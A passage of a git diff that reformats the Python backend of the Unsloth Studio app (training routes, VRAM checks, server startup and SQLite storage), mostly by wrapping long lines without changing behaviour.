isinstance(appearance, dict) and "customization" in appearance + ) response.paletteSaved = isinstance(appearance, dict) and "palette" in appearance - response.greetingSlothSaved = isinstance(profile, dict) and "showGreetingSloth" in profile + response.greetingSlothSaved = ( + isinstance(profile, dict) and "showGreetingSloth" in profile + ) return response diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 53b1c4d991..56de2b8377 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -74,7 +74,9 @@ logger = get_logger(__name__) _PROGRESS_STALL_TIMEOUT_POLLS = 1800 # ~30 min at 1 poll/sec -def _validate_local_dataset_paths(paths: list[str], label: str = "Local dataset") -> list[str]: +def _validate_local_dataset_paths( + paths: list[str], label: str = "Local dataset" +) -> list[str]: """Resolve and validate a list of local dataset paths. Returns validated absolute paths.""" validated = [] missing = [] @@ -107,7 +109,9 @@ async def get_hardware_utilization(current_subject: str = Depends(get_current_su @router.get("/hardware/visible") -async def get_visible_hardware_utilization(current_subject: str = Depends(get_current_subject)): +async def get_visible_hardware_utilization( + current_subject: str = Depends(get_current_subject), +): from utils.hardware import get_visible_gpu_utilization return get_visible_gpu_utilization() @@ -153,7 +157,9 @@ async def start_training( if is_install_in_progress(): raise HTTPException( status_code = 409, - detail = ("A transformers installation is in progress. Retry when it completes."), + detail = ( + "A transformers installation is in progress. Retry when it completes." + ), ) backend = get_training_backend() @@ -184,7 +190,9 @@ async def start_training( # Job ID; start_training() sets it on the backend only after the old # pump thread is dead. - job_id = f"job_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{_uuid.uuid4().hex[:8]}" + job_id = ( + f"job_{datetime.now().strftime('%Y%m%d_%H%M%S')}_{_uuid.uuid4().hex[:8]}" + ) # Validate dataset paths if provided. if request.local_datasets: @@ -198,7 +206,9 @@ async def start_training( resume_output_dir: Optional[str] = None if request.resume_from_checkpoint: try: - resume_output_dir = normalize_resume_output_dir(request.resume_from_checkpoint) + resume_output_dir = normalize_resume_output_dir( + request.resume_from_checkpoint + ) except ValueError as e: # Deliberate user-facing validation message. validation_message = str(e) @@ -323,7 +333,9 @@ async def start_training( "lora_r": request.lora_r, "lora_alpha": request.lora_alpha, "lora_dropout": request.lora_dropout, - "target_modules": request.target_modules if request.target_modules else None, + "target_modules": request.target_modules + if request.target_modules + else None, "gradient_checkpointing": request.gradient_checkpointing.strip() if request.gradient_checkpointing and request.gradient_checkpointing.strip() else "unsloth", @@ -376,11 +388,15 @@ async def start_training( from utils.security.trusted_org import is_trusted_org_repo model_defaults = load_model_defaults(request.model_name) - yaml_trust = model_defaults.get("training", {}).get("trust_remote_code", False) + yaml_trust = model_defaults.get("training", {}).get( + "trust_remote_code", False + ) if yaml_trust and is_trusted_org_repo( request.model_name, hf_token = request.hf_token or None ): - logger.info(f"YAML config sets trust_remote_code=True for {request.model_name}") + logger.info( + f"YAML config sets trust_remote_code=True for {request.model_name}" + ) training_kwargs["trust_remote_code"] = True elif yaml_trust: logger.warning( @@ -401,7 +417,9 @@ async def start_training( # current_checkpoint is still unset while the worker is already # allocating GPU memory, so gate on is_export_active() too. if exp_backend.current_checkpoint or exp_backend.is_export_active(): - logger.info("Shutting down export subprocess to free GPU memory for training") + logger.info( + "Shutting down export subprocess to free GPU memory for training" + ) exp_backend._shutdown_subprocess() exp_backend.current_checkpoint = None exp_backend.is_vision = False @@ -421,7 +439,9 @@ async def start_training( return if resident.get("loading"): # In-flight load can't be sized -> free rather than risk OOM. - freed = free_chat_models_for_training(reason = "chat model still loading") + freed = free_chat_models_for_training( + reason = "chat model still loading" + ) logger.info("Freed in-flight chat load for training: %s", freed) return keep, info = can_keep_chat_during_training( @@ -451,7 +471,9 @@ async def start_training( ) logger.info("Freed chat model(s) for training: %s", freed) except Exception as e: - logger.warning("Chat/training VRAM coordination failed; proceeding: %s", e) + logger.warning( + "Chat/training VRAM coordination failed; proceeding: %s", e + ) # The hook runs only once start guards pass -> VRAM freed iff training starts. from utils.transformers_version import SidecarSwapInProgress @@ -548,10 +570,14 @@ async def reset_training(current_subject: str = Depends(get_current_subject)): if is_active: if backend._cancel_requested: # Cancel (save=False) requested — force-terminate to reset immediately. - logger.info("Force-terminating subprocess for immediate reset (cancel path)") + logger.info( + "Force-terminating subprocess for immediate reset (cancel path)" + ) backend.force_terminate() else: - logger.warning("Rejected reset while training active: is_active=%s", is_active) + logger.warning( + "Rejected reset while training active: is_active=%s", is_active + ) raise HTTPException( status_code = 409, detail = "Training is still running. Stop training and wait for it to finish before resetting.", @@ -617,7 +643,9 @@ async def get_training_status(current_subject: str = Depends(get_current_subject msg_lower = status_message.lower() if "loading" in msg_lower or "importing" in msg_lower: phase = "loading_model" - elif any(k in msg_lower for k in ["preparing", "initializing", "configuring"]): + elif any( + k in msg_lower for k in ["preparing", "initializing", "configuring"] + ): phase = "configuring" else: phase = "training" @@ -758,10 +786,14 @@ async def stream_training_progress( if step < 0 or total == 0: progress_percent = 0.0 else: - progress_percent = float(step) / float(total) * 100.0 if total > 0 else 0.0 + progress_percent = ( + float(step) / float(total) * 100.0 if total > 0 else 0.0 + ) # Pull values from the progress object if available. - elapsed_seconds = getattr(progress, "elapsed_seconds", None) if progress else None + elapsed_seconds = ( + getattr(progress, "elapsed_seconds", None) if progress else None + ) eta_seconds = getattr(progress, "eta_seconds", None) if progress else None grad_norm = grad_norm_override if grad_norm is None and progress: @@ -817,15 +849,25 @@ async def stream_training_progress( } for i, step_val in enumerate(backend.step_history): if step_val > resume_from_step: - loss_val = backend.loss_history[i] if i < len(backend.loss_history) else None - lr_val = backend.lr_history[i] if i < len(backend.lr_history) else None + loss_val = ( + backend.loss_history[i] + if i < len(backend.loss_history) + else None + ) + lr_val = ( + backend.lr_history[i] if i < len(backend.lr_history) else None + ) tp_replay = getattr( getattr(backend, "trainer", None), "training_progress", None ) total_replay = ( - getattr(tp_replay, "total_steps", step_val) if tp_replay else step_val + getattr(tp_replay, "total_steps", step_val) + if tp_replay + else step_val + ) + epoch_replay = ( + getattr(tp_replay, "epoch", None) if tp_replay else None ) - epoch_replay = getattr(tp_replay, "epoch", None) if tp_replay else None payload = build_progress( step_val, loss_val, @@ -835,7 +877,9 @@ async def stream_training_progress( progress = tp_replay, grad_norm_override = grad_norm_by_step.get(step_val), ) - yield format_sse(payload.model_dump_json(), event = "progress", event_id = step_val) + yield format_sse( + payload.model_dump_json(), event = "progress", event_id = step_val + ) replayed += 1 if replayed: logger.info(f"SSE reconnect: replayed {replayed} missed steps") @@ -855,14 +899,18 @@ async def stream_training_progress( epoch = initial_epoch, progress = tp, ) - yield format_sse(initial_progress.model_dump_json(), event = "progress", event_id = 0) + yield format_sse( + initial_progress.model_dump_json(), event = "progress", event_id = 0 + ) # If not active, send final state and exit if not is_active: _live = (getattr(tp, "step", 0) or 0) if tp else 0 if backend.step_history or _live > 0: final_step = backend.step_history[-1] if backend.step_history else 0 - final_loss = backend.loss_history[-1] if backend.loss_history else None + final_loss = ( + backend.loss_history[-1] if backend.loss_history else None + ) final_lr = backend.lr_history[-1] if backend.lr_history else None # Histories skip non-finite steps; report the live step with # loss=None instead of the last finite pair. @@ -870,7 +918,9 @@ async def stream_training_progress( final_step = _live final_loss = getattr(tp, "loss", None) final_lr = getattr(tp, "learning_rate", final_lr) - final_total_steps = getattr(tp, "total_steps", final_step) if tp else final_step + final_total_steps = ( + getattr(tp, "total_steps", final_step) if tp else final_step + ) final_epoch = getattr(tp, "epoch", None) if tp else None payload = build_progress( final_step, @@ -885,7 +935,9 @@ async def stream_training_progress( ) else: yield format_sse( - build_progress(-1, None, None, 0, progress = tp).model_dump_json(), + build_progress( + -1, None, None, 0, progress = tp + ).model_dump_json(), event = "complete", event_id = 0, ) @@ -898,9 +950,9 @@ async def stream_training_progress( # may legitimately emit no step for a long time). On reconnect to an # already-stepping run, seed from the resume point / history, else a worker # that hangs after step N never times out for a client that reconnects past it. - seen_live_step = (resume_from_step is not None and resume_from_step > 0) or bool( - backend.step_history - ) + seen_live_step = ( + resume_from_step is not None and resume_from_step > 0 + ) or bool(backend.step_history) while backend.is_training_active(): # Client gone: end the generator without falling through to the final @@ -909,11 +961,17 @@ async def stream_training_progress( if await request.is_disconnected(): return try: - tp_inner = getattr(getattr(backend, "trainer", None), "training_progress", None) + tp_inner = getattr( + getattr(backend, "trainer", None), "training_progress", None + ) live_step = (getattr(tp_inner, "step", 0) or 0) if tp_inner else 0 if backend.step_history or live_step > 0: - current_step = backend.step_history[-1] if backend.step_history else 0 - current_loss = backend.loss_history[-1] if backend.loss_history else None + current_step = ( + backend.step_history[-1] if backend.step_history else 0 + ) + current_loss = ( + backend.loss_history[-1] if backend.loss_history else None + ) current_lr = backend.lr_history[-1] if backend.lr_history else None # Histories skip non-finite steps; follow the live progress # step and report its loss (None until it recovers). @@ -922,9 +980,13 @@ async def stream_training_progress( current_loss = getattr(tp_inner, "loss", None) current_lr = getattr(tp_inner, "learning_rate", current_lr) current_total_steps = ( - getattr(tp_inner, "total_steps", current_step) if tp_inner else current_step + getattr(tp_inner, "total_steps", current_step) + if tp_inner + else current_step + ) + current_epoch = ( + getattr(tp_inner, "epoch", None) if tp_inner else None ) - current_epoch = getattr(tp_inner, "epoch", None) if tp_inner else None # Only send if the step changed. if current_step != last_step: @@ -972,7 +1034,9 @@ async def stream_training_progress( "training_progress", None, ) - prep_total = getattr(tp_prep, "total_steps", 0) if tp_prep else 0 + prep_total = ( + getattr(tp_prep, "total_steps", 0) if tp_prep else 0 + ) preparing_payload = build_progress( 0, None, @@ -993,7 +1057,9 @@ async def stream_training_progress( tp_timeout = getattr( getattr(backend, "trainer", None), "training_progress", None ) - timeout_payload = build_progress(last_step, None, None, 0, progress = tp_timeout) + timeout_payload = build_progress( + last_step, None, None, 0, progress = tp_timeout + ) yield format_sse( timeout_payload.model_dump_json(), event = "error", @@ -1005,7 +1071,9 @@ async def stream_training_progress( except Exception as e: logger.error(f"Error in progress stream: {e}", exc_info = True) - tp_error = getattr(getattr(backend, "trainer", None), "training_progress", None) + tp_error = getattr( + getattr(backend, "trainer", None), "training_progress", None + ) error_payload = build_progress(0, None, None, 0, progress = tp_error) yield format_sse( error_payload.model_dump_json(), @@ -1026,7 +1094,9 @@ async def stream_training_progress( final_step = _final_live_step final_loss = getattr(final_tp, "loss", None) final_lr = getattr(final_tp, "learning_rate", final_lr) - final_total_steps = getattr(final_tp, "total_steps", final_step) if final_tp else final_step + final_total_steps = ( + getattr(final_tp, "total_steps", final_step) if final_tp else final_step + ) final_epoch = getattr(final_tp, "epoch", None) if final_tp else None final_payload = build_progress( final_step, diff --git a/studio/backend/routes/training_history.py b/studio/backend/routes/training_history.py index c0b5820632..fe7994f268 100644 --- a/studio/backend/routes/training_history.py +++ b/studio/backend/routes/training_history.py @@ -78,7 +78,9 @@ async def list_training_runs( @router.get("/runs/{run_id}", response_model = TrainingRunDetailResponse) -async def get_training_run_detail(run_id: str, current_subject: str = Depends(get_current_subject)): +async def get_training_run_detail( + run_id: str, current_subject: str = Depends(get_current_subject) +): """Get a single training run with full config and metrics.""" run = get_run(run_id) if run is None: @@ -129,19 +131,25 @@ async def update_training_run( **{ **{k: v for k, v in refreshed.items() if k != "config_json"}, "can_resume": can_resume_run(refreshed), - **_preview_fields(refreshed.get("output_dir"), get_preview_sharing_enabled()), + **_preview_fields( + refreshed.get("output_dir"), get_preview_sharing_enabled() + ), } ) @router.delete("/runs/{run_id}", response_model = TrainingRunDeleteResponse) -async def delete_training_run(run_id: str, current_subject: str = Depends(get_current_subject)): +async def delete_training_run( + run_id: str, current_subject: str = Depends(get_current_subject) +): """Delete a training run and its metrics (CASCADE).""" run = get_run(run_id) if run is None: raise HTTPException(status_code = 404, detail = f"Run {run_id} not found") if run["status"] == "running": - raise HTTPException(status_code = 409, detail = "Cannot delete a running training run") + raise HTTPException( + status_code = 409, detail = "Cannot delete a running training run" + ) logger.info("Deleting training run %s", run_id) delete_run(run_id) return TrainingRunDeleteResponse( diff --git a/studio/backend/routes/training_vram.py b/studio/backend/routes/training_vram.py index fd96fe2175..15ac8d7416 100644 --- a/studio/backend/routes/training_vram.py +++ b/studio/backend/routes/training_vram.py @@ -133,17 +133,23 @@ def can_keep_chat_during_training( # Invalid ids -> start_training will 400 first, so don't unload. return True, {"mode": "explicit", "reason": "invalid_gpu_ids"} - required_gb, est_meta = estimate_required_model_memory_gb(model_name, **est_kwargs) + required_gb, est_meta = estimate_required_model_memory_gb( + model_name, **est_kwargs + ) if required_gb is None: return False, {"mode": "explicit", "reason": "estimate_unavailable"} - free_by_index = _free_vram_by_index(get_visible_gpu_utilization().get("devices", [])) + free_by_index = _free_vram_by_index( + get_visible_gpu_utilization().get("devices", []) + ) # A requested GPU missing from the device list contributes 0. free_vals = [free_by_index.get(i, 0.0) for i in resolved] ranked = sorted(free_vals, reverse = True) usable_gb = ( - ranked[0] + sum(f * _MULTI_GPU_OVERHEAD for f in ranked[1:]) if ranked else 0.0 + ranked[0] + sum(f * _MULTI_GPU_OVERHEAD for f in ranked[1:]) + if ranked + else 0.0 ) aggregate_fits = usable_gb >= required_gb * SAFETY_MARGIN + KEEP_FLOOR_GB @@ -262,11 +268,15 @@ def can_load_chat_during_training( mode = "explicit" required_gb = required_override_gb if required_gb is None: - required_gb, _meta = estimate_required_model_memory_gb(model_name, **est_kwargs) + required_gb, _meta = estimate_required_model_memory_gb( + model_name, **est_kwargs + ) if required_gb is None: return False, {"mode": mode, "reason": "estimate_unavailable"} - free_by_index = _free_vram_by_index(get_visible_gpu_utilization().get("devices", [])) + free_by_index = _free_vram_by_index( + get_visible_gpu_utilization().get("devices", []) + ) if single_device_gpu is not None: token = str(single_device_gpu).strip() if not token: diff --git a/studio/backend/run.py b/studio/backend/run.py index 398943cc2c..a13acd263f 100644 --- a/studio/backend/run.py +++ b/studio/backend/run.py @@ -99,7 +99,9 @@ try: configure_cpu_threads() except ValueError as exc: configured = os.environ.get("UNSLOTH_CPU_THREADS") - raise SystemExit(f"Error: Invalid UNSLOTH_CPU_THREADS value {configured!r}: {exc}") from None + raise SystemExit( + f"Error: Invalid UNSLOTH_CPU_THREADS value {configured!r}: {exc}" + ) from None # Anaconda/conda-forge Python: seed platform._sys_version_cache before imports # that trigger attrs -> rich -> structlog -> platform crash. @@ -164,7 +166,9 @@ def _install_uvicorn_startup_log_rewrite(bind_host: str, display_host: str) -> N import re rewrite_host = ( - bind_host in ("0.0.0.0", "::") and bool(display_host) and display_host != bind_host + bind_host in ("0.0.0.0", "::") + and bool(display_host) + and display_host != bind_host ) new_suffix = "(To stop: press Ctrl+C -- on macOS, Control+C not Command+C)" old_suffix_re = re.compile(r"\(Press CTRL\+C to quit\)") @@ -248,7 +252,9 @@ def _localhost_ipv6_mismatch_url(bind_host: str, port: int) -> "str | None": return None try: - addr_info = socket.getaddrinfo("localhost", port, socket.AF_UNSPEC, socket.SOCK_STREAM) + addr_info = socket.getaddrinfo( + "localhost", port, socket.AF_UNSPEC, socket.SOCK_STREAM + ) except Exception: return None @@ -464,7 +470,9 @@ def _loopback_bind_host_for(host: str) -> str: def _url_host(host: str) -> str: return ( - f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host + f"[{host}]" + if ":" in host and not (host.startswith("[") and host.endswith("]")) + else host ) @@ -492,14 +500,20 @@ def _tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") "Anyone who can reach it with the API key can run code on this " "machine. Do not share the API key. Pass --disable-tools to turn off." ) - return f"Server-side tools are {state} for loopback. Pass --disable-tools to turn off." + return ( + f"Server-side tools are {state} for loopback. Pass --disable-tools to turn off." + ) -def _emit_tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> None: +def _emit_tool_policy_notice( + host: str, secure: bool, enable_tools: "Optional[bool]" +) -> None: print(_tool_policy_notice(host, secure, enable_tools), flush = True) -def _emit_secure_startup_output(port: int, enable_tools: "Optional[bool]" = None) -> None: +def _emit_secure_startup_output( + port: int, enable_tools: "Optional[bool]" = None +) -> None: """Secure-mode banner: only the Cloudflare link (loopback has no public raw URL).""" print("") print("🦥 Unsloth Studio is running (secure)") @@ -540,7 +554,9 @@ def _emit_startup_output( print_studio_stop_hint() -def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1") -> None: +def _print_cloudflare_line( + secure: bool = False, loopback_host: str = "127.0.0.1" +) -> None: """Print Cloudflare tunnel state for startup banners.""" from startup_banner import stdout_supports_color @@ -554,7 +570,10 @@ def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1 if _cloudflare_url: if _public_reachable is False: - _emit(f" Use the secure link access via Cloudflare instead: {_cloudflare_url}", accent) + _emit( + f" Use the secure link access via Cloudflare instead: {_cloudflare_url}", + accent, + ) else: _emit(f" Secure link access via Cloudflare: {_cloudflare_url}", accent) if not secure: @@ -719,7 +738,9 @@ def _find_free_port( candidate = start + offset if _is_port_free(host, candidate): return candidate - raise RuntimeError(f"Could not find a free port in range {start}-{start + max_attempts - 1}") + raise RuntimeError( + f"Could not find a free port in range {start}-{start + max_attempts - 1}" + ) from utils.paths.storage_roots import studio_root as _studio_root @@ -844,7 +865,9 @@ def _flush_standard_streams() -> None: pass -def _wait_for_server_shutdown(timeout: Optional[float] = _SERVER_SHUTDOWN_JOIN_TIMEOUT) -> None: +def _wait_for_server_shutdown( + timeout: Optional[float] = _SERVER_SHUTDOWN_JOIN_TIMEOUT, +) -> None: """Join the uvicorn thread so the prompt returns only after its shutdown logs flush. Skip the self-join when called from the server thread.""" import threading @@ -918,7 +941,9 @@ def _iter_frontend_fallback_candidates() -> "list[Path]": continue # Tolerate single/multi-line dict literals; [^}]* rejects nested # dicts, which the setuptools editable template never emits. - m = re.search(r"^MAPPING\s*(?::[^=]*)?=\s*(\{[^}]*\})", src, re.M | re.S) + m = re.search( + r"^MAPPING\s*(?::[^=]*)?=\s*(\{[^}]*\})", src, re.M | re.S + ) if not m: continue try: @@ -1306,7 +1331,9 @@ def run_server( global _server, _server_thread, _shutdown_event boot_started = time.perf_counter() - logger.info("run_server startup begin api_only=%s host=%s port=%s", api_only, host, port) + logger.info( + "run_server startup begin api_only=%s host=%s port=%s", api_only, host, port + ) # Reap every child if the parent dies abnormally (terminal close, Task # Manager kill, SIGKILL); must run before any child can spawn. @@ -1702,7 +1729,9 @@ def run_server( logger.warning("Bootstrap timeout not armed: %s", e) if not silent: - _emit_startup_output(host, port, display_host, secure = secure, enable_tools = enable_tools) + _emit_startup_output( + host, port, display_host, secure = secure, enable_tools = enable_tools + ) return app @@ -1858,7 +1887,9 @@ if __name__ == "__main__": sys.stderr.write("=" * 60 + "\n") traceback.print_exc(file = sys.stderr) sys.stderr.write("\n") - sys.stderr.write("If a package is missing, try re-running: unsloth studio setup\n") + sys.stderr.write( + "If a package is missing, try re-running: unsloth studio setup\n" + ) sys.stderr.flush() sys.exit(1) diff --git a/studio/backend/state/tool_approvals.py b/studio/backend/state/tool_approvals.py index f66226b61d..414f1e4a29 100644 --- a/studio/backend/state/tool_approvals.py +++ b/studio/backend/state/tool_approvals.py @@ -106,7 +106,9 @@ def request_tool_decision( ): """Register and wait in one call (when the slot is not needed early).""" slot = begin_tool_decision(session_id, approval_id) - return wait_tool_decision(slot, approval_id, cancel_event = cancel_event, timeout = timeout) + return wait_tool_decision( + slot, approval_id, cancel_event = cancel_event, timeout = timeout + ) def resolve_tool_decision( diff --git a/studio/backend/state/tool_policy.py b/studio/backend/state/tool_policy.py index e0792321f9..04a5d3434c 100644 --- a/studio/backend/state/tool_policy.py +++ b/studio/backend/state/tool_policy.py @@ -40,7 +40,9 @@ def tools_force_disabled() -> Iterator[None]: def set_tool_policy(value: Optional[bool]) -> None: if value is not None and not isinstance(value, bool): - raise TypeError(f"tool_policy must be Optional[bool], got {type(value).__name__}") + raise TypeError( + f"tool_policy must be Optional[bool], got {type(value).__name__}" + ) global _tool_policy _tool_policy = value diff --git a/studio/backend/storage/mcp_servers_db.py b/studio/backend/storage/mcp_servers_db.py index 6482bae140..ba2e4eea7c 100644 --- a/studio/backend/storage/mcp_servers_db.py +++ b/studio/backend/storage/mcp_servers_db.py @@ -29,9 +29,13 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: """ ) # Backfill use_oauth for pre-existing DBs. - cols = {r["name"] for r in conn.execute("PRAGMA table_info(mcp_servers)").fetchall()} + cols = { + r["name"] for r in conn.execute("PRAGMA table_info(mcp_servers)").fetchall() + } if "use_oauth" not in cols: - conn.execute("ALTER TABLE mcp_servers ADD COLUMN use_oauth INTEGER NOT NULL DEFAULT 0") + conn.execute( + "ALTER TABLE mcp_servers ADD COLUMN use_oauth INTEGER NOT NULL DEFAULT 0" + ) def get_connection() -> sqlite3.Connection: diff --git a/studio/backend/storage/providers_db.py b/studio/backend/storage/providers_db.py index 07165cbe70..c0809089c4 100644 --- a/studio/backend/storage/providers_db.py +++ b/studio/backend/storage/providers_db.py @@ -59,7 +59,9 @@ def get_connection() -> sqlite3.Connection: return conn -def create_provider(id: str, provider_type: str, display_name: str, base_url: str) -> None: +def create_provider( + id: str, provider_type: str, display_name: str, base_url: str +) -> None: """Insert a new provider configuration.""" now = datetime.now(timezone.utc).isoformat() conn = get_connection() @@ -137,7 +139,9 @@ def list_providers() -> list[dict]: """List all provider configurations, ordered by creation time.""" conn = get_connection() try: - rows = conn.execute("SELECT * FROM llm_providers ORDER BY created_at").fetchall() + rows = conn.execute( + "SELECT * FROM llm_providers ORDER BY created_at" + ).fetchall() return [dict(row) for row in rows] finally: conn.close() diff --git a/studio/backend/storage/studio_db.py b/studio/backend/storage/studio_db.py index d889894d04..1c5ae8b2fe 100644 --- a/studio/backend/storage/studio_db.py +++ b/studio/backend/storage/studio_db.py @@ -132,7 +132,9 @@ def _delete_project_workspace(project: dict) -> None: try: root_resolved = root.resolve(strict = False) except (OSError, RuntimeError, ValueError): - logger.warning("Skipping project workspace delete for invalid path %r", root_path) + logger.warning( + "Skipping project workspace delete for invalid path %r", root_path + ) return project_id = str(project["id"]) @@ -196,7 +198,9 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: ) """ ) - existing_cols = {row[1] for row in conn.execute("PRAGMA table_info(training_runs)").fetchall()} + existing_cols = { + row[1] for row in conn.execute("PRAGMA table_info(training_runs)").fetchall() + } if "display_name" not in existing_cols: conn.execute("ALTER TABLE training_runs ADD COLUMN display_name TEXT") conn.execute( @@ -216,7 +220,9 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: ) """ ) - conn.execute("CREATE INDEX IF NOT EXISTS idx_metrics_run_id ON training_metrics(run_id)") + conn.execute( + "CREATE INDEX IF NOT EXISTS idx_metrics_run_id ON training_metrics(run_id)" + ) # Windows: COLLATE NOCASE so C:\Models and c:\models dedup. Elsewhere keep # case-sensitive BINARY so /Models and /models stay distinct. collation = "COLLATE NOCASE" if platform.system() == "Windows" else "" @@ -276,9 +282,13 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: if "project_id" not in chat_thread_cols: conn.execute("ALTER TABLE chat_threads ADD COLUMN project_id TEXT") if "openai_code_exec_container_id" not in chat_thread_cols: - conn.execute("ALTER TABLE chat_threads ADD COLUMN openai_code_exec_container_id TEXT") + conn.execute( + "ALTER TABLE chat_threads ADD COLUMN openai_code_exec_container_id TEXT" + ) if "anthropic_code_exec_container_id" not in chat_thread_cols: - conn.execute("ALTER TABLE chat_threads ADD COLUMN anthropic_code_exec_container_id TEXT") + conn.execute( + "ALTER TABLE chat_threads ADD COLUMN anthropic_code_exec_container_id TEXT" + ) if "forked_from_thread_id" not in chat_thread_cols: conn.execute("ALTER TABLE chat_threads ADD COLUMN forked_from_thread_id TEXT") if "forked_from_message_id" not in chat_thread_cols: @@ -334,12 +344,19 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: conn.execute(tombstone_schema) else: tombstone_columns = { - row[1] for row in conn.execute("PRAGMA table_info(chat_attachment_tombstones)") + row[1] + for row in conn.execute("PRAGMA table_info(chat_attachment_tombstones)") } tombstone_fk_targets = { - row[2] for row in conn.execute("PRAGMA foreign_key_list(chat_attachment_tombstones)") + row[2] + for row in conn.execute( + "PRAGMA foreign_key_list(chat_attachment_tombstones)" + ) } - if "thread_id" not in tombstone_columns or "chat_threads" not in tombstone_fk_targets: + if ( + "thread_id" not in tombstone_columns + or "chat_threads" not in tombstone_fk_targets + ): # The first implementation cascaded through chat_messages, which # erased deletion knowledge during pruneMissing. Rebuild once, # retaining every tombstone whose owning thread still exists. @@ -402,7 +419,8 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: """ ) inventory_state_columns = { - row[1] for row in conn.execute("PRAGMA table_info(chat_attachment_inventory_state)") + row[1] + for row in conn.execute("PRAGMA table_info(chat_attachment_inventory_state)") } if "inventory_version" not in inventory_state_columns: conn.execute( @@ -453,7 +471,9 @@ def _ensure_schema(conn: sqlite3.Connection) -> None: conn.execute( "CREATE INDEX IF NOT EXISTS idx_chat_threads_model_type_created_at ON chat_threads(model_type, created_at)" ) - conn.execute("CREATE INDEX IF NOT EXISTS idx_chat_threads_pair_id ON chat_threads(pair_id)") + conn.execute( + "CREATE INDEX IF NOT EXISTS idx_chat_threads_pair_id ON chat_threads(pair_id)" + ) conn.execute( "CREATE INDEX IF NOT EXISTS idx_chat_threads_project_id ON chat_threads(project_id)" ) @@ -558,7 +578,9 @@ def _prompt_entry_from_row(row: sqlite3.Row) -> dict: def list_prompt_entries() -> list[dict]: conn = get_connection() try: - rows = conn.execute("SELECT * FROM prompt_entries ORDER BY created_at DESC").fetchall() + rows = conn.execute( + "SELECT * FROM prompt_entries ORDER BY created_at DESC" + ).fetchall() return [_prompt_entry_from_row(r) for r in rows] finally: conn.close() @@ -613,7 +635,10 @@ def bulk_upsert_prompt_entries(entries: list[dict]) -> int: text = excluded.text, updated_at = excluded.updated_at """, - [(e["id"], e["name"], e["text"], e["createdAt"], e["updatedAt"]) for e in entries], + [ + (e["id"], e["name"], e["text"], e["createdAt"], e["updatedAt"]) + for e in entries + ], ) conn.commit() return len(entries) @@ -634,7 +659,9 @@ def _prompt_list_from_row(row: sqlite3.Row) -> dict: def list_prompt_lists_db() -> list[dict]: conn = get_connection() try: - rows = conn.execute("SELECT * FROM prompt_lists ORDER BY created_at DESC").fetchall() + rows = conn.execute( + "SELECT * FROM prompt_lists ORDER BY created_at DESC" + ).fetchall() return [_prompt_list_from_row(r) for r in rows] finally: conn.close() @@ -896,13 +923,17 @@ def list_runs(limit: int = 50, offset: int = 0) -> dict: runs = [] for row in rows: run = dict(row) - run["project_name"] = _extract_project_name_from_config_json(run.get("config_json")) + run["project_name"] = _extract_project_name_from_config_json( + run.get("config_json") + ) sparkline = run.get("loss_sparkline") if sparkline: try: run["loss_sparkline"] = json.loads(sparkline) except (json.JSONDecodeError, TypeError): - logger.debug("Failed to parse loss_sparkline for run %s", run.get("id")) + logger.debug( + "Failed to parse loss_sparkline for run %s", run.get("id") + ) run["loss_sparkline"] = None runs.append(run) return {"runs": runs, "total": total} @@ -936,7 +967,9 @@ def get_run(id: str) -> Optional[dict]: if row is None: return None run = dict(row) - run["project_name"] = _extract_project_name_from_config_json(run.get("config_json")) + run["project_name"] = _extract_project_name_from_config_json( + run.get("config_json") + ) sparkline = run.get("loss_sparkline") if sparkline: try: @@ -979,7 +1012,9 @@ def get_resumable_run_by_output_dir(output_dir: str) -> Optional[dict]: try: run["loss_sparkline"] = json.loads(sparkline) except (json.JSONDecodeError, TypeError): - logger.debug("Failed to parse loss_sparkline for output_dir %s", output_dir) + logger.debug( + "Failed to parse loss_sparkline for output_dir %s", output_dir + ) run["loss_sparkline"] = None return run finally: @@ -1263,7 +1298,9 @@ def upsert_chat_thread(thread: dict) -> dict: thread.get("projectId"), 1 if thread.get("archived") else 0, int(thread["createdAt"]), - int(thread["updatedAt"]) if thread.get("updatedAt") is not None else None, + int(thread["updatedAt"]) + if thread.get("updatedAt") is not None + else None, thread.get("openaiCodeExecContainerId"), thread.get("anthropicCodeExecContainerId"), thread.get("forkedFromThreadId"), @@ -1557,7 +1594,9 @@ def _parse_chat_setting_json(key: str, value_json: str) -> tuple[bool, Any]: return False, None -def _load_chat_settings_for_merge(conn: sqlite3.Connection) -> tuple[dict[str, Any], set[str]]: +def _load_chat_settings_for_merge( + conn: sqlite3.Connection, +) -> tuple[dict[str, Any], set[str]]: rows = conn.execute("SELECT key, value_json FROM chat_settings").fetchall() current: dict[str, Any] = {} corrupt: set[str] = set() @@ -1726,7 +1765,10 @@ def _reconcile_chat_message_uploads(message: dict, tombstones: set[str]) -> dict reconciled["attachments"] = [ attachment for attachment in attachments - if not (isinstance(attachment, dict) and str(attachment.get("id") or "") in tombstones) + if not ( + isinstance(attachment, dict) + and str(attachment.get("id") or "") in tombstones + ) ] content = message.get("content") @@ -1734,12 +1776,16 @@ def _reconcile_chat_message_uploads(message: dict, tombstones: set[str]) -> dict reconciled["content"] = [ part for part in content - if not (isinstance(part, dict) and (_content_part_id(part) or "") in tombstones) + if not ( + isinstance(part, dict) and (_content_part_id(part) or "") in tombstones + ) ] return reconciled -def _chat_attachment_metadata_text(value, fallback: Optional[str] = None) -> Optional[str]: +def _chat_attachment_metadata_text( + value, fallback: Optional[str] = None +) -> Optional[str]: """Keep untyped legacy/import metadata safe for SQLite binding.""" if value is None: return fallback @@ -1778,9 +1824,13 @@ def _chat_attachment_inventory_entries( entries.append( { "id": attachment_id, - "name": _chat_attachment_metadata_text(attachment.get("name"), "attachment"), + "name": _chat_attachment_metadata_text( + attachment.get("name"), "attachment" + ), "type": _chat_attachment_metadata_text(attachment.get("type")), - "contentType": _chat_attachment_metadata_text(attachment.get("contentType")), + "contentType": _chat_attachment_metadata_text( + 